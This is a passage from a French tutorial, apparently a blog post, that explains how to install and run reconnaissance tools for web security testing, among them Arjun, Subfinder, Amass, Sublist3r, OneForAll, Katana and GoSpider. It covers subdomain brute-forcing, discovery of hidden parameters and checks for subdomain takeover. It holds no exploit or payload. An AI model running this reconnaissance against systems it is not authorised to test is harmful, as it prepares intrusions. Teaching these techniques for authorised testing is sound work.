<li><p>l’expression <code>".\(js|txt)$"</code> correspond aux expressions régulières qui correspond aux URLs se terminant par <code>.js</code> ou <code>.txt</code>.</p>
</li>
<li><p>Cette commande va donc lister les URL archivées, en excluant celles qui se terminent par <code>.js</code> ou <code>.txt</code> .</p>
</li>
</ul>
</li>
<li><p><code>echo "https://hackerone.com" | waybackurls -no-subs</code></p>
<ul>
<li><p>l’option <code>-no-subs</code> exclut les sous-domaines du domaine cible dans les résultats</p>
</li>
<li><p>Cette commande affichera toutes les URLs archivées de <code>hackerone.com</code></p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731341340729/80c29897-cd6b-47e6-b36b-998a76339c7b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-gowitness">Gowitness</h2>
<p>Gowitness est un outil utilisé pour effectuer des captures d’écran de sites web, collecter des informations sur les en-têtes HTTP et créer des rapports sur les sites visités de manière automatisée.</p>
<p>Cet outil, même s'il peut sembler "inutile" parce qu'on pourrait simplement visiter les pages web, est en fait très pratique lorsqu'on a plusieurs sites à vérifier sans perdre un temps fou à les ouvrir un par un.</p>
<p>Pour l’installer, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/sensepost/gowitness@latest
</code></pre>
<h3 id="heading-options-3">Options</h3>
<ul>
<li><p><code>gowitness -h</code> : cette option liste toutes les options de gowitness</p>
</li>
<li><p><code>gowitness scan -h</code> : montre les options disponibles pour effecturer des scans.</p>
</li>
<li><p><code>gowitness scan single --url https://google.com --screenshot-path ./PATH--screenshot-format png --screenshot-fullpage</code></p>
<ul>
<li><p>l’option <code>--url</code> indique à l’outil d’effectuer la capture sur l’URL spécifié</p>
</li>
<li><p>l’option <code>--screenshot-path</code> définit le chemin où la capture d'écran sera sauvegardée.</p>
</li>
<li><p>l’option <code>--screenshot-format</code> définit le format de la capture d’écran. Par défaut elle est en format JPEG. Et seuls les formats JPEG et PNG sont valides.</p>
</li>
<li><p>l’option <code>--screenshot-fullpage</code> capture la page entière, plutôt que seulement la partie visible de la page. Elle est utile pour les pages avec beaucoup de contenu en défilement</p>
</li>
</ul>
</li>
<li><p><code>gowitness scan file -f ./PATH --log-scan-errors --write-db</code></p>
<ul>
<li><p>l’option <code>file -f</code> spécifie un fichier contenant une liste d’URLs à afficher</p>
</li>
<li><p>l’option <code>--log-scan-errors</code> signale les erreurs survenues lors des scans.</p>
</li>
<li><p>l’option <code>--write-db</code> enregistre les résultats dans une base de données pour une consultation ultérieure.</p>
</li>
</ul>
</li>
</ul>
<p>La photo ci-dessous montre l’exécution d’une commande avec gowitness. Des messages indiquent une tentative échoué via le port 80 pour les connexions non sécurisées en HTTP. Par contre, la connexion a réussi via le port 443 pour les connexions HTTPS, avec les captures d’écran prises</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731508066707/5f041b74-ed39-4dc2-95bc-d3e1611eeae3.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731508214727/3a46ae75-d700-4183-8a06-bec0802b63f2.png" alt class="image--center mx-auto" /></p>
<p>Cet outil te permet donc de visualiser plein de sites super rapidement.</p>
<h2 id="heading-arjun">Arjun</h2>
<p>Arjun est un outil qui permet de découvrir des paramètres HTTP cachés dans les requêtes GET et POST qui pourraient être vulnérables dans des applications web. Il permet d’identifer des points d'entrée potentiels pour des attaques en testant plusieurs paramètres possibles. Pour information, les requêtes GET et POST sont des méthodes pour envoyer des données à un serveur web. Le méthode GET consiste à envoyer les données via l’URL ; c’est-à-dire qu’elles apparaissent dans la barre d’adresse du navigateur. La méthode POST consiste à envoyer les données dans le corps de la requête HTTP, ce qui les rend invisibles dans l'URL. L’outil Arjun permet donc de chercher ces paramètres dans les applications.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/s0md3v/Arjun"><strong>GitHub</strong></a>.</p>
<p>Pour installer Arjun, utilisez la commande suivante:</p>
<pre><code class="lang-python">pipx install arjun
</code></pre>
<h3 id="heading-options-4">Options</h3>
<ul>
<li><p><code>arjun-h</code> : cette option affiche toutes les options de l’outil</p>
</li>
<li><p><code>arjun -u http://website.com -m POST -o output.json -oB</code></p>
<ul>
<li><p>l’option <code>-u</code> permet de spécifier le site à analyser</p>
</li>
<li><p>l’option <code>-o</code> enregistre les données dans un fichier</p>
</li>
<li><p>l’option <code>-m</code> permet de définir la méthode HTTP à utiliser pour la requête. Les formats valides sont GET ou POST pour la méthode HTTP et JSON ou XML pour le corps de la requête.</p>
</li>
<li><p>l’option <code>-oB</code> redirige le trafic via Burp Suite pour l'analyse. Par défaut, Burp écoute sur <code>127.0.0.1:8080</code>. Cela va donc permettre de visualiser les requêtes et les réponses interceptées par Burp.</p>
</li>
</ul>
</li>
<li><p><code>arjun -i urls.txt -w /PATH/TO/FILE --include “token=qwerty“</code></p>
<ul>
<li><p>l’option <code>-i</code> spécifie un fichier avec une liste d’URLs à analyser</p>
<ul>
<li>l’option <code>-w</code> permet permet de spécifier une fichier contenant une liste de mots. Cette liste contient des noms de paramètres potentiels qu'Arjun utilisera pour tester l'URL cible. Par défaut, l’outil utilise une liste de mots intégrée située à <code>{arjundir}/db/large.txt</code></li>
</ul>
</li>
<li><p>l’option <code>-inlcude</code> permet d’insérer des données pour chaque requête. La variable token avec une certaine valeur dans le cas d’applications nécéssitant des jetons d’authentifications. On pourrait inlure tout type de données comme des clé APIs, des clé d’authentification et autres.</p>
</li>
<li><p>On peut aussi mettre les options <code>-m XML --include='&lt;?xml&gt;&lt;root&gt;$arjun$&lt;/root&gt;'</code> qui incluent une structure XML spécifique dans la requête. Le marqueur <code>$arjun$</code> est l'endroit où l’outil va insérer les paramètres qu'il teste.</p>
</li>
</ul>
</li>
<li><p><code>arjun -u http://website.com</code> -c 10</p>
</li>
</ul>
<h3 id="heading-interpretation-des-resultats">Interprétation des résultats</h3>
<p>L’image ci-dessus montre la commande <code>arjun -u http://testphp.vulnweb.com/listproducts.php -oB -o output.json</code> exécuté.</p>
<p>On voit que la commande a identifié les paramètres artist et cat dans le corps la réponse.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731603651357/7900ebba-4c9a-4749-9ec5-f23736d5d634.png" alt class="image--center mx-auto" /></p>
<p>Pour que l’option <code>-oB</code> fonctionne, il faut que Burp soit ouvert et configuré pour intercepter les requêtes. Vous pouvez ouvrir un terminal et lancer Burp avec la commande <code>burpsuite</code>. Allez dans les paramètres du Proxy et vérifiez que l’adresse du proxy sur Burp est bien configuré sur <code>127.0.0.1:8080</code>. Activez ensuite l’interception.</p>
<p>On voit donc deux paramètres de requête “cat=111110“ et “artist=11111“ et d’autres détails comme l’hôte, le logiciel client etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731602051433/005fea5a-2a79-487f-8919-7a777b010b78.png" alt /></p>
<hr />
<h1 id="heading-recherche-de-sous-domaines">Recherche de Sous-domaines</h1>
<p>La recherche de sous-domaines permet d’identifier les parties d’un domaine qui pourraient être vulnérables, et donc des points d’entrée pour des services mal configurés. Le fait de découvrir les sous-domaines permet donc recueillir des informations sur les technologies et configurations utilisées.</p>
<h2 id="heading-crtsh">Crt.sh</h2>
<p><a target="_blank" href="http://Crt.sh"><strong>Crt.sh</strong></a> est un outil en ligne qui permet de rechercher et de consulter des certificats SSL/TLS pour divers domaines. Il peut aussi bien être utilisé pour trouver des sous-domaines. En recherchant un domaine principal, on peut voir les certificats associés, mais aussi ceux émis pour ses sous-domaines. Les recherches peuvent donc se poursuivre avec ces sous-domaines avec d’autres outils.</p>
<h2 id="heading-virus-total">Virus Total</h2>
<p><a target="_blank" href="https://www.virustotal.com/gui/">VirusTotal</a> est un outil en ligne qui permet d’analyser des fichiers, des URLs afin de détecter de potentiels virus. Il effectue une analyse complète en utilisant plusieurs moteurs antivirus et outils de détections d’URLs. Il peut aussi être utilisé pour rechercher des sous-domaines et d’autres informations.</p>
<p>Les sous-domaines associés à la recherche seront listés dans l’onglet Relations. La photo ci-dessous montre une liste de sous domaines associés à Amazon.ca.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730480512189/389d5154-f775-4c5b-bbdc-36b533f0b940.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-chaos-projectdiscovery">Chaos projectdiscovery</h2>
<p><a target="_blank" href="https://chaos.projectdiscovery.io/">Chaos</a> est un projet de ProjectDiscovery qui fournit des informations sur les sous-domaines. Il dispose d’une base données avec un grand nombre de sous-domaines pour les domaines publics, mis à jour régulièrement.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730732080367/c021ae5b-7ed5-4b7e-9faf-541409009056.png" alt class="image--center mx-auto" /></p>
<p>Il suffit donc de télécharger le fichier .zip et on obtient une liste de sous-domaines associés au terme ou au domaine dans la recherche.</p>
<p>Chaos ProjectDiscovery est un projet open-source et peut être aussi utilisé via <a target="_blank" href="https://github.com/projectdiscovery/chaos-client">GitHub</a>. L’utilisation de cet outil avec l’API en ligne de commande est beaucoup plus flexible et puissante en terme de recherches. En utilisant l’outil en ligne de commande, on obtient une liste plus complète, contrairement à la version web où l’utilisation peut ne retourner aucun résultat pour certains domaines</p>
<p>Pour l’installer, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest
</code></pre>
<h3 id="heading-options-5">Options</h3>
<ul>
<li><p><code>chaos -h</code> : cette option liste toutes les options de Chaos ProjectDiscovery</p>
</li>
<li><p><code>export PDCP_API_KEY=[API_ KEY]</code></p>
<ul>
<li><p>cette option permet de spécifier la clé API qui peut être obtenue simplement en s’inscrivant sur le site</p>
</li>
<li><p>la clé API doit être spécifiée obligatoirement pour l’utilisation en ligne de commande</p>
</li>
</ul>
</li>
<li><p><code>chaos -d [site.com] -count -o list.txt</code></p>
<ul>
<li><p>l’option <code>-d</code> spécifie le domaine à analyser</p>
</li>
<li><p>l’option <code>-count</code> affiche le nombre de sous-domaines sans les lister</p>
</li>
<li><p>l’option <code>-o</code> spécifie un fichier (ici list.txt) pour stocker la sortie</p>
</li>
</ul>
</li>
<li><p><code>chaos -dL [list_domains.txt] -json | grep [STRING] &gt; list.txt</code></p>
<ul>
<li><p>l’option <code>-dL</code> spécifie un fichier contenant une liste de domaines à analyser</p>
</li>
<li><p>l’option <code>-json</code> affiche la sortie en format JSON</p>
</li>
<li><p>l’option <code>grep</code> filtre les résultats de la recherche selon le string défini et les enregistre dans le fichier list.txt</p>
</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730734621204/84dc8d3e-161e-4467-a504-ea6e0b66b14b.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-subfinder">Subfinder</h2>
<p>Subfinder est outil d’énumération de sous-domaines écrit en langage Go, développé par <a target="_blank" href="https://projectdiscovery.io/">ProjectDiscovery</a>. Il est utilisé pour effectuer une énumération passive des sous-domaines d’un domaine cible, c’est-à-dire, qu'il utilise des sources en ligne publiques pour identifier les sous-domaines sans interagir directement avec les serveurs cibles. Il utilise des sources comme Censys, Chaos, Recon.dev, Shodan, Spyse, Virustotal etc.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/projectdiscovery/subfinder">GitHub</a>.</p>
<p>Pour installer Subfinder, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
</code></pre>
<h3 id="heading-options-6">Options</h3>
<ul>
<li><p><code>subfinder -h</code> : l’option <code>-h</code> permet de lister toutes les options de subfinder</p>
</li>
<li><p><code>subfinder -ls</code>: l'option <code>-ls</code> permet de lister toutes les sources de données possibles</p>
</li>
<li><p><code>subfinder -d [site.com] -all -json -cs -o [list.txt]</code></p>
<ul>
<li><p>l’option <code>-d</code> spécifie le domaine à analyser</p>
</li>
<li><p>l’option <code>-all</code> permet d’utiliser toutes les sources pour l’énumération.</p>
</li>
<li><p>l’option <code>-json</code> affiche la sortie en format JSON</p>
</li>
<li><p>l’option <code>-cs</code> permet d’afficher la source dans le résultat de la commande</p>
</li>
<li><p>l’option <code>-o</code> enregistre les résultats dans un fichier</p>
</li>
</ul>
</li>
</ul>
<p>Ici, on analyse le domaine hackerone.com en affichant les sources de chaque sous-domaine avec l’option <code>-cs</code>, et en excluant les sources du serveur google 8.8.8.8 avec l’option <code>-es</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730743484088/7cbc99d4-ff88-444c-81e0-26a35f294ebf.png" alt class="image--center mx-auto" /></p>
<ul>
<li><p><code>subfinder -dL [list_domains.txt] -s/-es [SOURCES] -rl [INT]</code></p>
<ul>
<li><p>l’option <code>-dL</code> spécifie un fichier contenant une liste de domaines à analyser</p>
</li>
<li><p>l’option <code>-s</code> spécifie les sources à utiliser lors de la recherche</p>
</li>
<li><p>l’option <code>-es</code> exclut les sources lors de la recherche</p>
</li>
<li><p>l’option <code>-rl</code> détermine le nombre de requêtes https par secondes. Cela limite et évite la surcharge</p>
</li>
</ul>
</li>
<li><p><code>subfinder -d hackerone.com --active -oI</code></p>
<ul>
<li><p>l’option <code>--active</code> ou <code>-nW</code> vérifie les sous-domaines en temps réel. Elle vérifie si les sous-domaines sont actifs et répondent aux requêtes, sinon, ils ne sont pas listées.</p>
</li>
<li><p>l’option <code>-oI</code> ou <code>-ip</code> permet d’inclure les adresses IP des sous-domaines dans le résultat. Cette option ne s’utilise qu’en combinaison avec l’option <code>--active</code> ou <code>-nW</code></p>
</li>
</ul>
</li>
</ul>
<p>    <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730746300133/9a589fef-a0de-48d6-a6ba-6811d5ab9b89.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-assetfinder">Assetfinder</h2>
<p>Assetfinder est aussi un outil développé en langage Go, utilisé pour énumérer des sous-domaines associé à un domaine principal. Il utilise des sources comme, certspotter, hackertarget, facebook, virustotal etc.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/tomnomnom/assetfinder">GitHub</a>.</p>
<p>Pour installer Assetfinder, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/tomnomnom/assetfinder
</code></pre>
<h3 id="heading-options-7">Options</h3>
<ul>
<li><p><code>assetfinder -h</code> : l’option <code>-h</code> permet de lister toutes les options de assetfinder</p>
</li>
<li><p><code>assetfinder -subs-only [SITE.COM] &gt; list.txt</code></p>
<ul>
<li>l’option <code>-subs-only</code> limite la sortie aux sous-domaines du domaine cible. Cette option est la seule disponible pour assetfinder.</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730748576730/b64bfe0d-7523-47d7-97ed-7fbf40eed732.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-amass">Amass</h2>
<p>Amass est un outil développé par l'OWASP (Open Web Application Security Project) qui est aussi utilisé pour l’identification de sous-domaines et des adresses IP associées en utilisant des sources publiques commes des APIs, des certificats SSL, des DNS etc.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/owasp-amass/amass"><strong>GitHub</strong></a>.</p>
<p>Pour installer Amass, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install -v github.com/owasp-amass/amass/v4/...@master
</code></pre>
<h3 id="heading-options-8">Options</h3>
<ul>
<li><p><code>amass enum</code> : ce mode est utilisé pour l’énumération des sous-domaines en utilisant des sources publiques et des techniques de reconnaissance active.</p>
</li>
<li><p><code>amass intel</code>: ce mode est utilisé pour découvrir des domaines et d'autres actifs qui peuvent être explorés plus en détail lors du processus d'énumération</p>
</li>
<li><p><code>amass enum -d website.com -active -brute -aw /PATH -bl “word“</code></p>
<ul>
<li><p>l’option <code>-d</code> spécifie le domaine dont on veut énumérer les sous-domaines</p>
</li>
<li><p>l’option <code>-active</code> permet de rechercher les sous-domaines actifs</p>
<ul>
<li>l’option <code>-aw</code> permet de spécifier un fichier de liste de mots qui sera utilisé pour les altérations des noms des sous-domaines. Cela permet de modifier dynamiquement les sous-domaines en ajoutant des termes dans les noms des sous-domaines non visibles dans les résultats de DNS standards.</li>
</ul>
</li>
<li><p>l’option <code>-bl</code> permet de spécifier des domaines à exclure de la recherche</p>
</li>
</ul>
</li>
</ul>
<p>L’image ci-dessous montre la commande amass utilisée, qui a découvert plusieurs informations dont des enregistrements MX, A, AAAA et plusieurs autres sous-domaines. On y retrouve aussi des informations ASN de CloudFlare, qui gère probablement les adresses IP de ces sous-domaines là.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731637967194/67052a86-6ebd-4ee1-a971-5c194d1e4753.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-sublist3r"><strong>Sublist3r</strong></h2>
<p>Sublist3r est un outil d’énumération de sous domaines en utilisant des moteurs de recherche et d'autres sources en ligne. Il intègre l’outil <a target="_blank" href="https://github.com/TheRook/subbrute">Subbrute</a>, un outil de brute force pour l'énumération de sous-domaines, afin d'augmenter la capacité de trouver plus de sous-domaines. Subbrute utilise une liste de mots améliorée pour tester de manière systématique des sous-domaines potentiels.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/aboul3la/Sublist3r">GitHub</a>.</p>
<p>Pour installer Sublist3r, utilisez la commande suivante:</p>
<pre><code class="lang-python">git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt
</code></pre>
<h3 id="heading-options-9">Options</h3>
<ul>
<li><p><code>python sublist3r.py -h</code> : l’option <code>-h</code> permet de lister toutes les options de sublist3r</p>
</li>
<li><p><code>python sublist3r.py -b -d [site.com] -p 80,21 -o result.txt</code></p>
<ul>
<li><p>l’option <code>-d</code> permet de spécifier le domaine cible</p>
</li>
<li><p>l’option <code>-b</code> active le mode brute force pour découvrir les sous-domaines</p>
</li>
<li><p>l’option <code>-p</code> spécifie les ports à tester pour vérifier si un sous-domaine est actif sur ces ports.</p>
</li>
<li><p>l’option <code>-o</code> enregistre les résultats dans un fichier</p>
</li>
</ul>
</li>
<li><p><code>python sublist3r.py -e google,virustotal -v -d [site.com]</code></p>
<ul>
<li><p>l’option <code>-e</code> permet de spécifier le moteur de recherche à utiliser</p>
</li>
<li><p>l’option <code>-v</code> active le mode verbeux, ce qui permet d'afficher plus de détails pendant l'exécution du script et les sous-domaines en temps réel.</p>
</li>
</ul>
</li>
</ul>
<p>La commande ci-dessous exécutée, enumère les sous-domaines de google.com et active le mode verbeux, ce qui permet d’afficher les sous-domaines en temps réel.</p>
<p>La commande recherche les sous-domaines sur plusieurs sources dont Baidu, Yahoo,Google,Bing, SSL Certificates etc.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731947680161/b9251afd-4e84-4196-bdd1-99ab4f68058b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731947705826/e38a8163-0c8e-48a8-b14e-10d69196c913.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-oneforall">OneForAll</h2>
<p>OneForAll est un outil d’énumération de sous-domaines utilisé pour lister les sous-domaines d’un domaine principal. Cet outil utilse plusieurs techniques comme la résolution de DNS, le brute-forcing des sous-domaines et collecte aussi des données à partir de sources publiques que d’autres outils n’interrogent pas généralement. OneForAll règle le problème de puissance ou encore d’efficacité qu’on peut voir avec d’autres outils.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/shmilylty/OneForAll">GitHub</a>.</p>
<p>Pour installer OneForAll, utilisez les commandes suivantes:</p>
<p>Vérifiez d’abord les versions de Python et pip3 . La version de Python3 doit être supérieure à 3.6.0 et la version de pip3, supérieure à 19.2.2.</p>
<pre><code class="lang-python">python -V
pip3 -V
</code></pre>
<p>Clonez le dépôt du projet.</p>
<pre><code class="lang-python">git clone https://github.com/shmilylty/OneForAll.git
</code></pre>
<p>Créez un environnement virtuel pour séparer l’installation de votre environnement python.</p>
<pre><code class="lang-python">virtualenv -p python3 .venv
source .venv/bin/activate
</code></pre>
<p>Installez les dépendances</p>
<pre><code class="lang-python">cd OneForAll
python3 -m pip install -U pip setuptools wheel
pip3 install -r requirements.txt
</code></pre>
<h3 id="heading-options-10">Options</h3>
<ul>
<li><p><code>python3 oneforall.py -h</code> : cette option permet de lister toutes les options de OneForAll</p>
</li>
<li><p><code>python oneforall.py --target [site.com] --brute FALSE --dns FALSE --valid TRUE run</code></p>
<ul>
<li><p>l’option <code>--target</code> permet de spécifier l’URL ou le domaine à analyser</p>
</li>
<li><p>l’option <code>--brute</code> permet d’activer/désactiver le module de bruteforce pour rechercher les sous-domaines. Par défaut, l’option est activée</p>
</li>
<li><p>l’option <code>--dns</code> permet d’activer/désactiver la résolution DNS lors de l’analyse des sous-domaines. Cette option est aussi activée par défaut.</p>
</li>
<li><p>l’option <code>--valid</code> permet de spécifier que seuls les sous-domaines actifs et valides seront pris en compte. L’outil va donc interroger chaque sous-domaine afin de vérifier leur validité.</p>
</li>
</ul>
</li>
<li><p><code>python oneforall.py --targets list_urls.txt --takeover TRUE --path /PATH/TO/FILE run</code></p>
<ul>
<li><p>l’option <code>--targets</code> permet de spécifier une liste de domaines contenue dans un fichier</p>
</li>
<li><p>l’option <code>--takeover</code> permet de vérifier si un sous-domaine trouvé est vulnérable à une prise de contrôle de sous-domaine (subdomain takeover, comme l’outil subzy détaillé un peu avant). Cette option est cruciale dans l’identification des sous-domaines mal configurés. Elle est par défaut désactivée.</p>
</li>
<li><p>l’option <code>--path</code> spécifie le chemin du fichier où seront stockés les résultats de la collecte de sous-domaines. Lorsqu’un fichier n’est pas spécifié, OneForAll générera automatiquement un fichier de résultats.</p>
</li>
<li><p>Comme le montre l’image ci-dessous, l'outil génère automatiquement un fichier <code>.csv</code> qui répertorie les résultats, dans le dossier <code>/results</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290129863/dd8e94e3-1729-4a26-91eb-92005077424d.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
</ul>
<h3 id="heading-interpretation-des-resultats-1">Interprétation des résultats</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731279673339/8f583716-d6db-4520-8505-a765df582355.png" alt class="image--center mx-auto" /></p>
<p>Les résultats de la commande OneForAll sur <code>https://hackerone.com</code> montrent les modules exécutés ainsi que le nombre de sous-domaines trouvés. Par exemple, avec les résultats de cette requête, on voit que le module <code>CertInfo</code> a trouvé 4 sous-domaines en 0,1 seconde, l'accès au site <code>dnsgrep.cn</code> a été refusé (statut403) et d’autres informations.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731290099020/204d1d6d-7444-43a0-8db8-b01979d7aaee.png" alt class="image--center mx-auto" /></p>
<p>Les serveurs <code>a.ns.hackerone.com</code> et <code>b.ns.hackerone.com</code> ont aussi été trouvés, ce qui a permis de retourner les adresses IP 162.159.0.31 et 162.159.1.31.</p>
<p>Les sous-domaines trouvés seront répertoriés dans le dossier <code>/results</code> par défaut dans un fichier csv qui peut être compliqué à lire. Vous pouvez formater les colonnes à l’affichage avec les commandes column et less:</p>
<pre><code class="lang-python">column -s, -t &lt; hackerone.com.csv | less -<span class="hljs-comment">#2 -N -S</span>
</code></pre>
<ul>
<li><p>L’option <code>-s,</code> (-s suivi de la virgule) spécifie que la virgule ( <strong>,</strong> ) est le délimiteur qui sépare les colonnes dans le fichier.</p>
</li>
<li><p>L’option <code>-t</code> indique à column de créer un tableau avec des colonnes alignées</p>
</li>
<li><p><code>&lt; hackerone.com.csv</code> permet une redirection du contenu du fichier hackerone.com.csv comme entrée pour la commande column</p>
</li>
<li><p><code>less -#2 -N -S</code> permet de paginer la sortie avec <code>less</code>, affiche les numéros de ligne avec <code>-N</code>, permet un défilement horizontal avec <code>-S</code>, et définit l'espacement des tabulations à 2 avec <code>-#2</code>. Vous pouvez quitter l’affichage avec la touche <code>q</code> .</p>
</li>
</ul>
<p>Le fichier avec les résultats avec un affiche standard se présente comme suit:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732226018213/a9a55b8d-66c6-4fa6-a787-9901d650b261.png" alt class="image--center mx-auto" /></p>
<p>On passe donc de l’affichage de l’image au dessus à ceux en dessous avec la commande <code>column -s, -t &lt; hackerone.com.csv | less -#2 -N -S</code> .</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241237226/1f2caa58-61dd-482e-a049-ceb066949a9c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732241262762/c63c29e9-ff72-40e2-bc88-12c698f62fec.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-linked-discovery">Linked Discovery</h1>
<p>Le linked Discovery est un processus qui consiste à explorer et à extraire des liens et des ressources d’un site web pour obtenir des informations sur une cible. Il permet d’identifier la structure des pages et les relations entre elles pour mieux comprendre comment un site est construit. On peut aussi y ressortir les sous-domaines et d’autres ressources cachées ou moins visibles.</p>
<h2 id="heading-katana">Katana</h2>
<p>Katana est un outil d’exploration de sites web, écrit en Go, dévéloppé par <a target="_blank" href="https://projectdiscovery.io/"><strong>Project Discovery</strong></a>. Il permet aussi d’analyser des sites web, d’y extraire des ressources cachées et identifer des vulnérabilitées potentielles.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/projectdiscovery/katana"><strong>GitHub</strong></a>.</p>
<p>Pour installer Katana, utilisez la commande suivante:</p>
<pre><code class="lang-python">go install github.com/projectdiscovery/katana/cmd/katana@latest
</code></pre>
<h3 id="heading-options-11">Options</h3>
<ul>
<li><p><code>katana -h</code> : cette option liste toutes les options de katana</p>
</li>
<li><p><code>katana -u [https://site.com] -d [INT] -e "STRING" -rl [INT] -o [results.json]</code></p>
<ul>
<li><p>l’option <code>-u</code> définit le site ou l’URL à analyser</p>
</li>
<li><p>l’option <code>-d</code> définit la profondeur d’exploration à partir du lien spécifié</p>
</li>
<li><p>l’option <code>-e</code> exclut divers éléments correspondants à la chaîne de caractère spécifiée. Cela peut être des chemins, des adresses IP, des sous-domaines etc.</p>
</li>
<li><p>l’option <code>-rl</code> fixe un nombre maximal de requêtes par secondes (150 par défaut)</p>
</li>
</ul>
</li>
<li><p><code>cat file.txt | katana -jc -noi</code></p>
<ul>
<li><p><code>cat</code> permet de lire un fichier qui contient une liste d’URLs (une par ligne) à explorer</p>
</li>
<li><p>l’option <code>-jc</code> active l’analyse des fichiers JavaScript, ce qui permet d'extraire des liens et des ressources depuis les fichiers JavaScript du site.</p>
</li>
<li><p>l’option <code>-noi</code> pour no incognito désactive le mode incognito, ce qui permet de conserver l'historique de navigation pendant l'exploration.</p>
</li>
</ul>
</li>
<li><p>Toute la documentation et les options sont disponibles sur <a target="_blank" href="https://github.com/projectdiscovery/katana?tab=readme-ov-file#running-katana"><strong>Github</strong></a>.</p>
</li>
</ul>
<p>La photo ci-dessous montre une exécution de l’outil. Elle explorera le site <code>http://youtube.com</code>, à une profondeur de 3, exclura les chemins contenant <code>/login</code>, active l’analyse des fichiers JavaScript, et enregistrera les résultats dans un fichier.</p>
<p>On voit donc que des liens et fichiers JavaScript sont bien extraits.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1731955773836/5ddf7f29-40c0-4352-87e4-1e7f48f49b29.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-gospider">GoSpider</h2>
<p>GoSpider est un outil de reconnaissance écrit en langage Go, pour crawler ou extraire des données d’un site Web. Un crawler ou robot d’exploration est un programme ou un script automatisé destiné à collecter des informations sur des sites internet. GoSpider peut être utilisé lors de la reconnaissance pour identifier des liens, des ressources, des fichiers en lien avec un site spécifique.</p>
<p>La documentation officielle se retrouve sur <a target="_blank" href="https://github.com/jaeles-project/gospider"><strong>GitHub</strong>.</a></p>
<p>Pour installer GoSpider, utilisez la commande suivante:</p>
<pre><code class="lang-python">go get -u github.com/jaeles-project/gospider
</code></pre>
<h3 id="heading-options-12">Options</h3>
<ul>
<li><p><code>gospider -h</code> : l’option <code>-h</code> permet de voir la liste de toute les options de GoSpider</p>
</li>
<li><p><code>gospider -s [site.com/URL] -c [INT] -o [resultat.txt/.json]</code></p>
<ul>
<li><p>l’option <code>-s</code> spécifie l’URL ou le site à analyser;</p>
</li>
<li><p>l’option <code>-c</code> définit le nombre maximal de requêtes simultanées lors de l’exploration du site (par défaut, il est fixé à 5);</p>
</li>
<li><p>l’option <code>-o</code> enregistre les résultats dans un fichier;</p>
</li>
</ul>
</li>
<li><p><code>gospider -S [sites] -q --blacklist [ ] -d [INT]</code></p>
<ul>
<li><p>l’option <code>-S</code> spécifie une fichier texte contenant les URLS de sites à analyser;</p>
</li>
<li><p>l’option <code>-q</code> rend l’analyse plus concise et désactive les logs détaillés;</p>
</li>
<li><p>l’option <code>--blacklist</code> permet d’exclure (blacklister) soit des extensions, des types de fichiers lors de l’analyse.</p>
</li>
<li><p>l’option <code>-d</code> définit la profondeur de lien à explorer lors du crawl. Cela signique qu’il explore d’abord l’URL initiale, ensuite les liens trouvés sur cette page, et ensuite les liens sur ces pages, et ainsi de suite. Il est fixé à 1 par défaut.</p>
</li>
</ul>
</li>
</ul>
<p>En parcourant la liste des options, vous aurez accès aux différentes manières d’utiliser GoSpider.</p>
<h2 id="heading-hakrawler">Hakrawler</h2>
<p>Hakrawler est aussi un outil de reconnaissance utilisé pour explorer des sites web et extraire des informations comme des liens, des formulaires et des emplacements de fichiers . Aussi écrit en langage Go, il est utilisé lors de la phase de reconnaissance lors des tests de sécurité.<br />La documentation officielle est disponible sur <a target="_blank" href="https://github.com/hakluke/hakrawler"><strong>GitHub</strong></a>.</p>
